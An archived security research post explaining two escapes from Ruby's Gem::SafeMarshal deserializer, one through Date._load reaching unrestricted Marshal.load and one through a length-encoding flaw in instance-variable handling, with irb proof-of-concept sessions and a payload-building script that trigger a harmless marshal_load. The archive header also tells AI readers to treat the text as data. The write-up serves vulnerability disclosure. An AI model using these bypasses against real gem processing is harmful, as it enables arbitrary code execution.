

Gem::SafeMarshal escape / nastystereo.com

Gem::SafeMarshal escape / nastystereo.com - Luke Jahnke, nastystereo.com.

- Published: date not stated
- Original: <<https://nastystereo.com/security/ruby-safe-marshal-escape.html>>
- Preserved from: <https://nastystereo.com/security/ruby-safe-marshal-escape.html> (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Gem::SafeMarshal escape

Luke Jahnke3 December 2024

In September 2023, Ruby added `Gem::SafeMarshal` in an attempt to make deserialization while processing packaged library `.gem` files safer. I decided to learn how it works and take on the challenge of breaking it to execute arbitrary commands.

How to use Gem::SafeMarshal

`Gem::SafeMarshal` can be loaded by requiring `rubygems/safe_marshal` or calling `Gem.load_safe_marshal`. `Gem::SafeMarshal` defines two methods, `safe_load` and `load`. With the `load` method you specify which classes, symbols and instance variables are permitted, whereas the `safe_load` method has a hardcoded list of what is permitted.

```

irb(main):001:0> Gem.load_safe_marshal
=> true

irb(main):002:0> class Foo; end
=> nil

irb(main):003:0> serialized_foo = Marshal.dump(Foo.new)
=> "\x04\bo:\bFoo\x00"

irb(main):004:0> Gem::SafeMarshal.safe_load(serialized_foo)
/usr/local/lib/ruby/3.4.0+0/rubygems/safe_marshal/visitors/to_ruby.rb:277:in
'Gem::SafeMarshal::Visitors::ToRuby#resolve_class': Attempting to load unpe
rmitted class "Foo" @ root.object (Gem::SafeMarshal::Visitors::ToRuby::Unper
mittedClassError)

irb(main):005:0> Gem::SafeMarshal.load(serialized_foo)
/usr/local/lib/ruby/3.4.0+0/rubygems/safe_marshal/visitors/to_ruby.rb:277:in
'Gem::SafeMarshal::Visitors::ToRuby#resolve_class': Attempting to load unpe
rmitted class "Foo" @ root.object (Gem::SafeMarshal::Visitors::ToRuby::Unper
mittedClassError)

irb(main):006:0> Gem::SafeMarshal.load(serialized_foo,
  permitted_classes: ["Foo"]
)
=> #<Foo:0x00007f149ec54a90>

```

How is Gem::SafeMarshal implemented

It wasn't obvious to me how `SafeMarshal` could be easily implemented as `Marshal` does not expose any means to restrict which classes can be deserialized, as opposed to Java which has method overriding of `resolveClass` on a subclass of `java.io.ObjectInputStream`. It turns out that the answer is that it wasn't easy and was achieved by creating a partial reimplementation of `Marshal` in pure Ruby.

How to escape Gem::SafeMarshal

The first thing I checked was if the lists of what is permitted by `Gem::SafeMarshal.safe_load` is overly permissive. The lists can be found in `lib/rubygems/safe_marshal.rb` and are shown below:

```

module Gem
  module SafeMarshal
    PERMITTED_CLASSES = %w[
      Date
      Time
      Rational

      Gem::Dependency
      Gem::NameTuple
      Gem::Platform
      Gem::Requirement
      Gem::Specification
      Gem::Version
      Gem::Version::Requirement

      YAML::Syck::DefaultKey
      YAML::PrivateType
    ].freeze

    PERMITTED_SYMBOLS = %w[
      development
      runtime

      name
      number
      platform
      dependencies
    ].freeze

    PERMITTED_IVARS = {
      "String" => %w[E encoding @taguri @debug_created_info],
      "Time" => %w[
        offset zone nano_num nano_den submicro
        @_zone @marshal_with_utc_coercion
      ],
      "Gem::Dependency" => %w[
        @name @requirement @prerelease @version_requirement
        @version_requirements @type @force_ruby_platform
      ],
      "Gem::NameTuple" => %w[@name @version @platform],
      "Gem::Platform" => %w[@os @cpu @version],
      "Psych::PrivateType" => %w[@value @type_id],
    }.freeze
  end
end

```

At first glance, the lists of what is permitted seemed appropriately limited and plausibly contained only essential items. The list of permitted classes being so short meant I decided to work systematically through every class, starting at the top with the `Date` class.

I found the `Date` class implemented with C in the file `ext/date/date_core.c`.

```
static VALUE cDate, cDateTime;

void
Init_date_core(void)
{
    [...]
    cDate = rb_define_class("Date", rb_cObject);
    [...]
    rb_define_method(cDate, "marshal_dump", d_lite_marshal_dump, 0);
    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
    rb_define_singleton_method(cDate, "_load", date_s__load, 1);
}
```

I started with the `marshal_load` method as it is invoked during deserialization and is the common start of deserialization gadget chains. The `marshal_load` method was not too interesting, mostly data validation followed by stuffing values into an internal C struct. However, the next method, `_load`, which can also be invoked during deserialization, was much more interesting.

```
static VALUE
date_s__load(VALUE klass, VALUE s)
{
    VALUE a, obj;

    a = rb_marshal_load(s);
    obj = d_lite_s_alloc(klass);
    return d_lite_marshal_load(obj, a);
}
```

The `_load` method calls the C function `rb_marshal_load`, equivalent to `Marshal.load` in Ruby, with a value under our control. This means we can use a serialized `Date` object to obtain an arbitrary `Marshal` deserialization primitive. We can use this to move from `Gem::SafeMarshal` deserialization with restricted classes to `Marshal` deserialization with unrestricted classes. From `Marshal`, we can use a deserialization gadget chain to achieve arbitrary command execution.

```
irb(main):001> require "date"
=> true

irb(main):002> Gem.load_safe_marshal
=> true

irb(main):003* class Foo
irb(main):004*   def marshal_dump; end
irb(main):005*   def marshal_load(*)
irb(main):006*     abort "You win - Foo#marshal_load was called"
irb(main):007*   end
irb(main):008> end
=> :marshal_load

irb(main):009* class Date
irb(main):010*   undef_method :marshal_dump
irb(main):011*   def _dump(_depth)
irb(main):012*     Marshal.dump(Foo.new)
irb(main):013*   end
irb(main):014> end
=> :_dump

irb(main):015> Gem::SafeMarshal.safe_load(Marshal.dump(Date.new))
You win - Foo#marshal_load was called
```

A more interesting Gem::SafeMarshal escape

Instead of auditing more permitted classes, I moved onto reading source code of `Gem::SafeMarshal`. I came across some incredibly suspicious looking code within the instance variable handling. The code generates a serialized string using string concatenation including attacker controlled data. The serialized string is then passed to the real `Marshal.load`.

```

def visit_Gem_SafeMarshal_Elements_WithIvars(e)
[...]
  marshal_string = "\x04\bi:\tTime".b
  marshal_string.concat(s.size + 5)
  marshal_string << s
  marshal_string.concat(internal.size + 5)

  internal.each do |k, v|
    marshal_string.concat(":")
    marshal_string.concat(k.size + 5)
    marshal_string.concat(k.to_s)
    dumped = Marshal.dump(v)
    dumped[0, 2] = ""
    marshal_string.concat(dumped)
  end

  object = @objects[object_offset] = Marshal.load(marshal_string)
[...]
```

We control the value stored in the variable `s` in the above `visit_Gem_SafeMarshal_Elements_WithIvars` code. By supplying a string of size `0xf6`, when `5` is added, the value will then be `0xfb`, which `Marshal` will interpret as length `0` but our full `s` value is still concatenated.

This works because the Marshal format has various single byte encodings of the integer `0`, as shown below, which is unaccounted for by `Gem::SafeMarshal`.

```

irb(main):001:0> Marshal.dump(0)
=> "\x04\bi\x00"

irb(main):002:0> Marshal.load("\x04\bi\x00")
=> 0

irb(main):003:0> Marshal.load("\x04\bi\x05")
=> 0

irb(main):004:0> Marshal.load("\x04\bi\xfb")
=> 0
```

Now we have to work out what `Marshal` is expecting and how to craft one of those, and hope it has an impact to security.

It turns out `Marshal` is in the state ready to receive instance variables. First it needs to know how many instance variables to expect, I chose `1`, then a name, I chose `:zone`, then a value. The value can be an arbitrary serialized object, thereby achieving deserialization with unrestricted classes

once again. Here we can use a deserialization gadget chain to achieve arbitrary command execution (just be careful of the 240 or so byte limit).

```
irb(main):001* class Foo
irb(main):002*   def marshal_load(*)
irb(main):003*     abort "You win - Foo#marshal_load was called"
irb(main):004*   end
irb(main):005> end
=> :marshal_load

irb(main):006> Gem.load_safe_marshal
=> true

irb(main):007* Gem::SafeMarshal.safe_load(
irb(main):008*   "\x04\blu:\tTime\x01\xF6\x06:\tzoneU:\bFoo0" + ("\x00" * 233)
irb(main):009> )
You win - Foo#marshal_load was called
```

The payload was generated using the following code:

```
class Foo
  def marshal_dump
    end
end

payload =
  "#{Marshal::MAJOR_VERSION.chr}#{Marshal::MINOR_VERSION.chr}" +
  "I" + # TYPE_IVAR
  "u" + # TYPE_USERDEF
  Marshal.dump(:Time)[2..-1] +
  Marshal.dump(0xfb - 5)[3..-1] +
  Marshal.dump(1)[3..-1] +
  Marshal.dump(:zone)[2..-1] +
  Marshal.dump(Foo.new)[2..-1] +
  ("\x00" * 233)

puts payload.inspect
```

[« Back to homepage](#)